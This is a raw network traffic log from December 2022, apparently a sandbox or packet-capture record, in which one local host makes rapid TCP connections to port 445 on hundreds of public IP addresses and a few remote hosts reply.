Dec 22, 2022 10:07:00.838892937 CET	60207	445	192.168.2.6	84.20.230.214
Dec 22, 2022 10:07:00.839037895 CET	60209	445	192.168.2.6	63.69.84.153
Dec 22, 2022 10:07:00.839344978 CET	60214	445	192.168.2.6	98.208.223.245
Dec 22, 2022 10:07:00.839715004 CET	60219	445	192.168.2.6	162.147.60.216
Dec 22, 2022 10:07:00.839834929 CET	60221	445	192.168.2.6	199.179.38.118
Dec 22, 2022 10:07:00.839893103 CET	60222	445	192.168.2.6	14.32.22.233
Dec 22, 2022 10:07:00.842379093 CET	60223	445	192.168.2.6	81.133.180.109
Dec 22, 2022 10:07:00.842658043 CET	60224	445	192.168.2.6	16.84.239.36
Dec 22, 2022 10:07:00.842760086 CET	60225	445	192.168.2.6	210.12.11.167
Dec 22, 2022 10:07:00.842776060 CET	60226	445	192.168.2.6	188.165.228.202
Dec 22, 2022 10:07:00.842920065 CET	60227	445	192.168.2.6	25.65.169.163
Dec 22, 2022 10:07:00.842942953 CET	60228	445	192.168.2.6	199.217.188.254
Dec 22, 2022 10:07:00.847913980 CET	60239	445	192.168.2.6	96.235.161.225
Dec 22, 2022 10:07:00.848582029 CET	60246	445	192.168.2.6	175.78.243.147
Dec 22, 2022 10:07:00.870949984 CET	445	60226	188.165.228.202	192.168.2.6
Dec 22, 2022 10:07:00.871620893 CET	445	60111	1.168.135.200	192.168.2.6
Dec 22, 2022 10:07:00.913341999 CET	445	60149	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:00.913458109 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:00.913507938 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:00.916512966 CET	445	60144	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:00.920475006 CET	445	60144	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:00.920553923 CET	60144	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:00.997416973 CET	445	60149	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:01.005250931 CET	445	60149	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:01.005364895 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:01.089257956 CET	445	60149	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:01.089432955 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:01.173347950 CET	445	60149	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:01.173552990 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:01.257184029 CET	445	60149	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:01.257353067 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:01.341300964 CET	445	60149	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:01.341401100 CET	60149	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:01.378129005 CET	60226	445	192.168.2.6	188.165.228.202
Dec 22, 2022 10:07:01.406313896 CET	445	60226	188.165.228.202	192.168.2.6
Dec 22, 2022 10:07:01.815870047 CET	60252	445	192.168.2.6	176.210.131.90
Dec 22, 2022 10:07:01.941261053 CET	60254	445	192.168.2.6	95.111.68.48
Dec 22, 2022 10:07:01.957087994 CET	60256	445	192.168.2.6	181.20.61.117
Dec 22, 2022 10:07:01.957936049 CET	60261	445	192.168.2.6	133.200.186.42
Dec 22, 2022 10:07:01.958103895 CET	60263	445	192.168.2.6	42.201.186.77
Dec 22, 2022 10:07:01.958163023 CET	60264	445	192.168.2.6	187.152.200.133
Dec 22, 2022 10:07:01.958368063 CET	60266	445	192.168.2.6	5.129.31.53
Dec 22, 2022 10:07:01.958520889 CET	60269	445	192.168.2.6	46.206.12.147
Dec 22, 2022 10:07:01.959202051 CET	60280	445	192.168.2.6	142.69.80.213
Dec 22, 2022 10:07:01.959578037 CET	60287	445	192.168.2.6	139.66.214.229
Dec 22, 2022 10:07:01.959964037 CET	60293	445	192.168.2.6	150.168.99.222
Dec 22, 2022 10:07:01.960235119 CET	60296	445	192.168.2.6	64.141.129.135
Dec 22, 2022 10:07:01.960381031 CET	60299	445	192.168.2.6	44.130.0.94
Dec 22, 2022 10:07:01.960572004 CET	60302	445	192.168.2.6	76.79.98.13
Dec 22, 2022 10:07:01.960752010 CET	60303	445	192.168.2.6	180.182.39.146
Dec 22, 2022 10:07:01.961016893 CET	60309	445	192.168.2.6	205.50.109.4
Dec 22, 2022 10:07:01.961086988 CET	60310	445	192.168.2.6	166.23.149.110
Dec 22, 2022 10:07:01.961214066 CET	60311	445	192.168.2.6	128.232.77.60
Dec 22, 2022 10:07:01.961711884 CET	60316	445	192.168.2.6	25.75.129.213
Dec 22, 2022 10:07:01.961858988 CET	60321	445	192.168.2.6	78.9.7.128
Dec 22, 2022 10:07:01.962862015 CET	60340	445	192.168.2.6	8.230.126.156
Dec 22, 2022 10:07:01.963289022 CET	60347	445	192.168.2.6	99.142.225.149
Dec 22, 2022 10:07:01.963305950 CET	60348	445	192.168.2.6	200.49.5.91
Dec 22, 2022 10:07:01.965706110 CET	60350	445	192.168.2.6	3.108.245.13
Dec 22, 2022 10:07:01.966464043 CET	60351	445	192.168.2.6	146.180.175.22
Dec 22, 2022 10:07:01.966586113 CET	60352	445	192.168.2.6	83.167.185.57
Dec 22, 2022 10:07:01.966677904 CET	60353	445	192.168.2.6	137.115.133.234
Dec 22, 2022 10:07:01.966873884 CET	60355	445	192.168.2.6	31.56.113.184
Dec 22, 2022 10:07:01.966876030 CET	60354	445	192.168.2.6	161.115.237.106
Dec 22, 2022 10:07:02.085773945 CET	445	60296	64.141.129.135	192.168.2.6
Dec 22, 2022 10:07:02.316173077 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:02.351273060 CET	445	60357	84.6.126.3	192.168.2.6
Dec 22, 2022 10:07:02.353522062 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:02.355863094 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:02.596934080 CET	60296	445	192.168.2.6	64.141.129.135
Dec 22, 2022 10:07:02.612591982 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:02.722521067 CET	445	60296	64.141.129.135	192.168.2.6
Dec 22, 2022 10:07:02.897783041 CET	60359	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:02.925076962 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:03.005670071 CET	445	60359	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.009639025 CET	60359	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.013834000 CET	60359	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.016057968 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.051589966 CET	60363	445	192.168.2.6	121.252.196.216
Dec 22, 2022 10:07:03.067091942 CET	60368	445	192.168.2.6	28.72.122.221
Dec 22, 2022 10:07:03.067368031 CET	60369	445	192.168.2.6	173.168.62.248
Dec 22, 2022 10:07:03.067529917 CET	60370	445	192.168.2.6	186.61.187.63
Dec 22, 2022 10:07:03.068133116 CET	60375	445	192.168.2.6	106.8.33.116
Dec 22, 2022 10:07:03.068424940 CET	60377	445	192.168.2.6	54.32.175.20
Dec 22, 2022 10:07:03.068705082 CET	60379	445	192.168.2.6	132.187.168.148
Dec 22, 2022 10:07:03.069467068 CET	60383	445	192.168.2.6	62.221.48.37
Dec 22, 2022 10:07:03.069828987 CET	60386	445	192.168.2.6	185.140.54.21
Dec 22, 2022 10:07:03.070544004 CET	60392	445	192.168.2.6	25.157.114.116
Dec 22, 2022 10:07:03.071652889 CET	60399	445	192.168.2.6	206.72.235.175
Dec 22, 2022 10:07:03.072737932 CET	60410	445	192.168.2.6	81.163.216.134
Dec 22, 2022 10:07:03.073227882 CET	60412	445	192.168.2.6	104.206.17.246
Dec 22, 2022 10:07:03.073502064 CET	60414	445	192.168.2.6	198.249.206.147
Dec 22, 2022 10:07:03.073868036 CET	60416	445	192.168.2.6	145.137.87.105
Dec 22, 2022 10:07:03.074242115 CET	60418	445	192.168.2.6	10.145.174.188
Dec 22, 2022 10:07:03.075042009 CET	60423	445	192.168.2.6	42.209.144.128
Dec 22, 2022 10:07:03.076661110 CET	60438	445	192.168.2.6	187.119.36.248
Dec 22, 2022 10:07:03.077482939 CET	60443	445	192.168.2.6	175.40.183.250
Dec 22, 2022 10:07:03.078525066 CET	60445	445	192.168.2.6	196.60.157.82
Dec 22, 2022 10:07:03.079207897 CET	60446	445	192.168.2.6	84.104.138.136
Dec 22, 2022 10:07:03.080182076 CET	60447	445	192.168.2.6	36.137.228.100
Dec 22, 2022 10:07:03.080713987 CET	60448	445	192.168.2.6	114.199.183.149
Dec 22, 2022 10:07:03.082037926 CET	60449	445	192.168.2.6	185.45.232.154
Dec 22, 2022 10:07:03.082746029 CET	60450	445	192.168.2.6	100.11.125.234
Dec 22, 2022 10:07:03.083208084 CET	60452	445	192.168.2.6	13.6.28.237
Dec 22, 2022 10:07:03.083350897 CET	60453	445	192.168.2.6	202.166.144.166
Dec 22, 2022 10:07:03.084312916 CET	60460	445	192.168.2.6	220.19.161.100
Dec 22, 2022 10:07:03.121772051 CET	445	60360	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.121818066 CET	445	60359	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.121927977 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.122154951 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.125720024 CET	445	60359	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.125828981 CET	60359	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.225722075 CET	445	60360	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.233787060 CET	445	60360	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.240215063 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.349742889 CET	445	60360	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.361607075 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.469758987 CET	445	60360	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.469917059 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.534497976 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:03.573688984 CET	445	60360	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.573908091 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.681678057 CET	445	60360	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:03.682194948 CET	60360	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:03.737705946 CET	59657	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:07:03.805351019 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:03.838751078 CET	445	60467	134.220.39.2	192.168.2.6
Dec 22, 2022 10:07:03.838871002 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:03.841816902 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:03.875094891 CET	445	60468	134.220.39.2	192.168.2.6
Dec 22, 2022 10:07:03.875474930 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:04.143887043 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:04.175348043 CET	60470	445	192.168.2.6	41.230.146.237
Dec 22, 2022 10:07:04.175990105 CET	60474	445	192.168.2.6	77.129.199.226
Dec 22, 2022 10:07:04.176204920 CET	60478	445	192.168.2.6	125.151.182.232
Dec 22, 2022 10:07:04.176645041 CET	60488	445	192.168.2.6	125.5.19.109
Dec 22, 2022 10:07:04.176804066 CET	60491	445	192.168.2.6	196.114.50.27
Dec 22, 2022 10:07:04.176888943 CET	60493	445	192.168.2.6	73.249.210.28
Dec 22, 2022 10:07:04.177005053 CET	60495	445	192.168.2.6	177.252.21.165
Dec 22, 2022 10:07:04.177093983 CET	60497	445	192.168.2.6	158.57.233.94
Dec 22, 2022 10:07:04.177288055 CET	60501	445	192.168.2.6	135.169.57.224
Dec 22, 2022 10:07:04.177898884 CET	60517	445	192.168.2.6	50.128.40.56
Dec 22, 2022 10:07:04.178102970 CET	60522	445	192.168.2.6	184.208.33.212
Dec 22, 2022 10:07:04.178479910 CET	60527	445	192.168.2.6	150.129.31.110
Dec 22, 2022 10:07:04.178567886 CET	60528	445	192.168.2.6	69.62.212.232
Dec 22, 2022 10:07:04.178602934 CET	60529	445	192.168.2.6	58.188.2.151
Dec 22, 2022 10:07:04.178858995 CET	60534	445	192.168.2.6	13.101.145.139
Dec 22, 2022 10:07:04.178968906 CET	60536	445	192.168.2.6	212.12.5.66
Dec 22, 2022 10:07:04.179064035 CET	60538	445	192.168.2.6	208.64.250.67
Dec 22, 2022 10:07:04.179258108 CET	60542	445	192.168.2.6	202.153.115.5
Dec 22, 2022 10:07:04.179424047 CET	60545	445	192.168.2.6	135.82.9.179
Dec 22, 2022 10:07:04.179693937 CET	60551	445	192.168.2.6	212.26.102.169
Dec 22, 2022 10:07:04.184029102 CET	60554	445	192.168.2.6	44.151.100.85
Dec 22, 2022 10:07:04.184315920 CET	60556	445	192.168.2.6	89.45.247.37
Dec 22, 2022 10:07:04.184398890 CET	60555	445	192.168.2.6	42.121.66.210
Dec 22, 2022 10:07:04.192707062 CET	60561	445	192.168.2.6	195.215.246.43
Dec 22, 2022 10:07:04.193605900 CET	60568	445	192.168.2.6	123.194.185.129
Dec 22, 2022 10:07:04.193730116 CET	60569	445	192.168.2.6	141.189.35.101
Dec 22, 2022 10:07:04.194360018 CET	60571	445	192.168.2.6	145.47.120.161
Dec 22, 2022 10:07:04.195075035 CET	60572	445	192.168.2.6	7.44.115.74
Dec 22, 2022 10:07:04.206414938 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:04.270062923 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.347121000 CET	445	60556	89.45.247.37	192.168.2.6
Dec 22, 2022 10:07:04.358241081 CET	445	60573	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:04.360086918 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.360140085 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.393920898 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:04.442229033 CET	445	60573	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:04.450190067 CET	445	60573	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:04.450328112 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.472152948 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:04.534343004 CET	445	60573	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:04.534512997 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.622308016 CET	445	60573	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:04.622438908 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.706356049 CET	445	60573	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:04.706878901 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.737788916 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:04.770139933 CET	60576	445	192.168.2.6	188.18.129.13
Dec 22, 2022 10:07:04.794333935 CET	445	60573	188.18.129.12	192.168.2.6
Dec 22, 2022 10:07:04.794500113 CET	60573	445	192.168.2.6	188.18.129.12
Dec 22, 2022 10:07:04.862719059 CET	60556	445	192.168.2.6	89.45.247.37
Dec 22, 2022 10:07:04.980442047 CET	445	60556	89.45.247.37	192.168.2.6
Dec 22, 2022 10:07:05.003417015 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:05.081521034 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:05.285542011 CET	60579	445	192.168.2.6	223.198.214.3
Dec 22, 2022 10:07:05.285999060 CET	60584	445	192.168.2.6	136.9.56.200
Dec 22, 2022 10:07:05.286472082 CET	60586	445	192.168.2.6	17.121.32.159
Dec 22, 2022 10:07:05.286700964 CET	60587	445	192.168.2.6	101.1.51.203
Dec 22, 2022 10:07:05.287136078 CET	60591	445	192.168.2.6	63.166.12.30
Dec 22, 2022 10:07:05.287934065 CET	60597	445	192.168.2.6	61.143.81.231
Dec 22, 2022 10:07:05.289377928 CET	60612	445	192.168.2.6	219.136.223.63
Dec 22, 2022 10:07:05.289834976 CET	60617	445	192.168.2.6	204.200.69.157
Dec 22, 2022 10:07:05.289969921 CET	60618	445	192.168.2.6	41.147.26.131
Dec 22, 2022 10:07:05.290381908 CET	60621	445	192.168.2.6	133.102.178.52
Dec 22, 2022 10:07:05.290616035 CET	60623	445	192.168.2.6	14.107.43.117
Dec 22, 2022 10:07:05.290923119 CET	60626	445	192.168.2.6	98.105.162.251
Dec 22, 2022 10:07:05.291785002 CET	60633	445	192.168.2.6	157.34.247.115
Dec 22, 2022 10:07:05.292680979 CET	60635	445	192.168.2.6	198.50.85.238
Dec 22, 2022 10:07:05.295160055 CET	60642	445	192.168.2.6	167.145.221.60
Dec 22, 2022 10:07:05.296266079 CET	60643	445	192.168.2.6	180.90.89.75
Dec 22, 2022 10:07:05.297508955 CET	60644	445	192.168.2.6	78.176.249.88
Dec 22, 2022 10:07:05.297996044 CET	60646	445	192.168.2.6	94.51.109.152
Dec 22, 2022 10:07:05.298556089 CET	60652	445	192.168.2.6	151.33.153.234
Dec 22, 2022 10:07:05.299025059 CET	60657	445	192.168.2.6	137.113.218.99
Dec 22, 2022 10:07:05.299146891 CET	60659	445	192.168.2.6	26.10.235.245
Dec 22, 2022 10:07:05.299442053 CET	60663	445	192.168.2.6	144.149.168.117
Dec 22, 2022 10:07:05.300856113 CET	60666	445	192.168.2.6	23.147.187.242
Dec 22, 2022 10:07:05.301400900 CET	60667	445	192.168.2.6	96.103.227.37
Dec 22, 2022 10:07:05.301665068 CET	60669	445	192.168.2.6	30.147.238.65
Dec 22, 2022 10:07:05.301841974 CET	60670	445	192.168.2.6	101.238.226.113
Dec 22, 2022 10:07:05.302416086 CET	60677	445	192.168.2.6	74.77.211.2
Dec 22, 2022 10:07:05.414851904 CET	445	60646	94.51.109.152	192.168.2.6
Dec 22, 2022 10:07:05.833633900 CET	60684	445	192.168.2.6	188.18.129.14
Dec 22, 2022 10:07:05.925313950 CET	60646	445	192.168.2.6	94.51.109.152
Dec 22, 2022 10:07:06.043912888 CET	445	60646	94.51.109.152	192.168.2.6
Dec 22, 2022 10:07:06.206727982 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:06.284902096 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:06.418251991 CET	60688	445	192.168.2.6	187.110.110.199
Dec 22, 2022 10:07:06.418312073 CET	60687	445	192.168.2.6	113.233.203.216
Dec 22, 2022 10:07:06.419122934 CET	60701	445	192.168.2.6	175.97.145.156
Dec 22, 2022 10:07:06.419236898 CET	60702	445	192.168.2.6	22.202.19.192
Dec 22, 2022 10:07:06.419466019 CET	60706	445	192.168.2.6	103.172.214.5
Dec 22, 2022 10:07:06.419549942 CET	60707	445	192.168.2.6	103.221.178.173
Dec 22, 2022 10:07:06.419717073 CET	60711	445	192.168.2.6	198.92.6.91
Dec 22, 2022 10:07:06.419925928 CET	60715	445	192.168.2.6	158.7.100.75
Dec 22, 2022 10:07:06.420604944 CET	60727	445	192.168.2.6	155.132.87.71
Dec 22, 2022 10:07:06.420881987 CET	60733	445	192.168.2.6	69.8.156.97
Dec 22, 2022 10:07:06.421164989 CET	60737	445	192.168.2.6	98.17.25.101
Dec 22, 2022 10:07:06.421251059 CET	60740	445	192.168.2.6	21.54.85.218
Dec 22, 2022 10:07:06.421401978 CET	60741	445	192.168.2.6	54.119.148.47
Dec 22, 2022 10:07:06.421509027 CET	60743	445	192.168.2.6	212.36.130.242
Dec 22, 2022 10:07:06.421860933 CET	60751	445	192.168.2.6	44.145.153.214
Dec 22, 2022 10:07:06.422094107 CET	60755	445	192.168.2.6	214.68.169.113
Dec 22, 2022 10:07:06.422111034 CET	60754	445	192.168.2.6	175.53.126.152
Dec 22, 2022 10:07:06.422360897 CET	60758	445	192.168.2.6	178.15.51.170
Dec 22, 2022 10:07:06.422512054 CET	60762	445	192.168.2.6	20.34.200.226
Dec 22, 2022 10:07:06.422882080 CET	60770	445	192.168.2.6	23.243.237.143
Dec 22, 2022 10:07:06.422959089 CET	60771	445	192.168.2.6	22.130.37.10
Dec 22, 2022 10:07:06.423283100 CET	60776	445	192.168.2.6	64.242.79.120
Dec 22, 2022 10:07:06.425054073 CET	60784	445	192.168.2.6	146.4.44.212
Dec 22, 2022 10:07:06.426424980 CET	60785	445	192.168.2.6	209.75.99.124
Dec 22, 2022 10:07:06.426493883 CET	60786	445	192.168.2.6	96.14.107.90
Dec 22, 2022 10:07:06.426562071 CET	60788	445	192.168.2.6	20.154.96.204
Dec 22, 2022 10:07:06.426568985 CET	60787	445	192.168.2.6	203.67.44.65
Dec 22, 2022 10:07:06.426618099 CET	60789	445	192.168.2.6	190.56.191.48
Dec 22, 2022 10:07:06.582405090 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:06.691031933 CET	445	60790	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:06.691159010 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:06.691395998 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:06.802995920 CET	445	60790	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:06.806989908 CET	445	60790	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:06.807291031 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:06.910845995 CET	60793	445	192.168.2.6	188.18.129.15
Dec 22, 2022 10:07:06.920068979 CET	445	60790	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:06.920399904 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:07.031034946 CET	445	60790	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:07.031169891 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:07.142995119 CET	445	60790	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:07.143136978 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:07.144157887 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:07.211210012 CET	60795	445	192.168.2.6	176.210.131.92
Dec 22, 2022 10:07:07.255237103 CET	445	60790	176.210.131.91	192.168.2.6
Dec 22, 2022 10:07:07.257931948 CET	60790	445	192.168.2.6	176.210.131.91
Dec 22, 2022 10:07:07.530118942 CET	60800	445	192.168.2.6	103.177.169.221
Dec 22, 2022 10:07:07.530658007 CET	60801	445	192.168.2.6	94.40.149.44
Dec 22, 2022 10:07:07.531261921 CET	60803	445	192.168.2.6	77.228.246.232
Dec 22, 2022 10:07:07.531395912 CET	60804	445	192.168.2.6	149.156.108.112
Dec 22, 2022 10:07:07.532032013 CET	60814	445	192.168.2.6	220.189.164.181
Dec 22, 2022 10:07:07.532293081 CET	60817	445	192.168.2.6	27.103.59.104
Dec 22, 2022 10:07:07.532481909 CET	60820	445	192.168.2.6	112.22.201.155
Dec 22, 2022 10:07:07.532728910 CET	60823	445	192.168.2.6	64.6.63.70
Dec 22, 2022 10:07:07.533251047 CET	60830	445	192.168.2.6	48.102.89.118
Dec 22, 2022 10:07:07.533282042 CET	60831	445	192.168.2.6	213.246.187.68
Dec 22, 2022 10:07:07.533509016 CET	60834	445	192.168.2.6	48.191.6.107
Dec 22, 2022 10:07:07.533938885 CET	60841	445	192.168.2.6	59.241.109.175
Dec 22, 2022 10:07:07.534333944 CET	60847	445	192.168.2.6	179.166.188.86
Dec 22, 2022 10:07:07.534573078 CET	60849	445	192.168.2.6	125.26.152.34
Dec 22, 2022 10:07:07.536621094 CET	60861	445	192.168.2.6	57.191.98.214
Dec 22, 2022 10:07:07.537391901 CET	60865	445	192.168.2.6	63.38.192.57
Dec 22, 2022 10:07:07.538197994 CET	60870	445	192.168.2.6	15.73.51.192
Dec 22, 2022 10:07:07.538594961 CET	60872	445	192.168.2.6	85.179.224.158
Dec 22, 2022 10:07:07.539565086 CET	60887	445	192.168.2.6	60.36.146.197
Dec 22, 2022 10:07:07.539664030 CET	60888	445	192.168.2.6	173.58.74.146
Dec 22, 2022 10:07:07.539999008 CET	60892	445	192.168.2.6	139.22.173.193
Dec 22, 2022 10:07:07.540150881 CET	60894	445	192.168.2.6	192.113.88.156
Dec 22, 2022 10:07:07.543060064 CET	60895	445	192.168.2.6	106.156.71.19
Dec 22, 2022 10:07:07.543147087 CET	60896	445	192.168.2.6	65.184.23.103
Dec 22, 2022 10:07:07.543165922 CET	60897	445	192.168.2.6	201.104.11.20
Dec 22, 2022 10:07:07.543283939 CET	60898	445	192.168.2.6	192.84.125.72
Dec 22, 2022 10:07:07.543303013 CET	60899	445	192.168.2.6	210.27.162.41
Dec 22, 2022 10:07:07.543795109 CET	60900	445	192.168.2.6	150.4.90.245
Dec 22, 2022 10:07:07.709928989 CET	445	60849	125.26.152.34	192.168.2.6
Dec 22, 2022 10:07:07.849406958 CET	445	60847	179.166.188.86	192.168.2.6
Dec 22, 2022 10:07:07.988641024 CET	60903	445	192.168.2.6	188.18.129.16
Dec 22, 2022 10:07:08.222548962 CET	60849	445	192.168.2.6	125.26.152.34
Dec 22, 2022 10:07:08.270756960 CET	60905	445	192.168.2.6	176.210.131.93
Dec 22, 2022 10:07:08.363082886 CET	60847	445	192.168.2.6	179.166.188.86
Dec 22, 2022 10:07:08.397758961 CET	445	60849	125.26.152.34	192.168.2.6
Dec 22, 2022 10:07:08.613089085 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:08.644975901 CET	60909	445	192.168.2.6	32.169.12.139
Dec 22, 2022 10:07:08.645001888 CET	60910	445	192.168.2.6	177.103.41.159
Dec 22, 2022 10:07:08.645384073 CET	60913	445	192.168.2.6	11.162.10.0
Dec 22, 2022 10:07:08.645522118 CET	60914	445	192.168.2.6	172.14.52.135
Dec 22, 2022 10:07:08.646415949 CET	60925	445	192.168.2.6	192.25.181.221
Dec 22, 2022 10:07:08.646533966 CET	60927	445	192.168.2.6	120.231.168.188
Dec 22, 2022 10:07:08.646724939 CET	60930	445	192.168.2.6	20.138.200.227
Dec 22, 2022 10:07:08.647020102 CET	60933	445	192.168.2.6	93.46.49.216
Dec 22, 2022 10:07:08.647360086 CET	60940	445	192.168.2.6	21.120.54.198
Dec 22, 2022 10:07:08.647547960 CET	60942	445	192.168.2.6	80.104.212.49
Dec 22, 2022 10:07:08.647806883 CET	60944	445	192.168.2.6	146.206.143.124
Dec 22, 2022 10:07:08.648148060 CET	60950	445	192.168.2.6	213.243.158.49
Dec 22, 2022 10:07:08.648458958 CET	60956	445	192.168.2.6	179.53.179.207
Dec 22, 2022 10:07:08.648739100 CET	60959	445	192.168.2.6	136.156.20.39
Dec 22, 2022 10:07:08.648991108 CET	60964	445	192.168.2.6	20.186.213.243
Dec 22, 2022 10:07:08.649344921 CET	60967	445	192.168.2.6	94.249.73.23
Dec 22, 2022 10:07:08.649524927 CET	60969	445	192.168.2.6	128.194.104.209
Dec 22, 2022 10:07:08.650546074 CET	60986	445	192.168.2.6	133.66.198.126
Dec 22, 2022 10:07:08.650706053 CET	60989	445	192.168.2.6	95.5.99.248
Dec 22, 2022 10:07:08.650774956 CET	60990	445	192.168.2.6	80.168.150.205
Dec 22, 2022 10:07:08.651333094 CET	61001	445	192.168.2.6	95.5.182.189
Dec 22, 2022 10:07:08.651571035 CET	61004	445	192.168.2.6	98.241.93.150
Dec 22, 2022 10:07:08.653948069 CET	61005	445	192.168.2.6	180.174.4.201
Dec 22, 2022 10:07:08.654309034 CET	61006	445	192.168.2.6	124.138.247.250
Dec 22, 2022 10:07:08.654387951 CET	61007	445	192.168.2.6	105.12.110.176
Dec 22, 2022 10:07:08.654452085 CET	61008	445	192.168.2.6	92.227.253.127
Dec 22, 2022 10:07:08.654560089 CET	61009	445	192.168.2.6	96.82.46.11
Dec 22, 2022 10:07:08.654764891 CET	61010	445	192.168.2.6	102.77.42.246
Dec 22, 2022 10:07:08.689497948 CET	445	60847	179.166.188.86	192.168.2.6
Dec 22, 2022 10:07:08.691237926 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:09.069755077 CET	61013	445	192.168.2.6	188.18.129.17
Dec 22, 2022 10:07:09.334996939 CET	61016	445	192.168.2.6	176.210.131.94
Dec 22, 2022 10:07:09.754527092 CET	61021	445	192.168.2.6	80.104.227.196
Dec 22, 2022 10:07:09.754527092 CET	61019	445	192.168.2.6	141.153.158.33
Dec 22, 2022 10:07:09.789753914 CET	61025	445	192.168.2.6	17.39.33.107
Dec 22, 2022 10:07:09.790077925 CET	61028	445	192.168.2.6	84.68.230.222
Dec 22, 2022 10:07:09.790342093 CET	61031	445	192.168.2.6	16.115.201.24
Dec 22, 2022 10:07:09.790868998 CET	61036	445	192.168.2.6	13.60.52.90
Dec 22, 2022 10:07:09.791332006 CET	61041	445	192.168.2.6	77.158.103.17
Dec 22, 2022 10:07:09.792010069 CET	61048	445	192.168.2.6	105.7.218.38
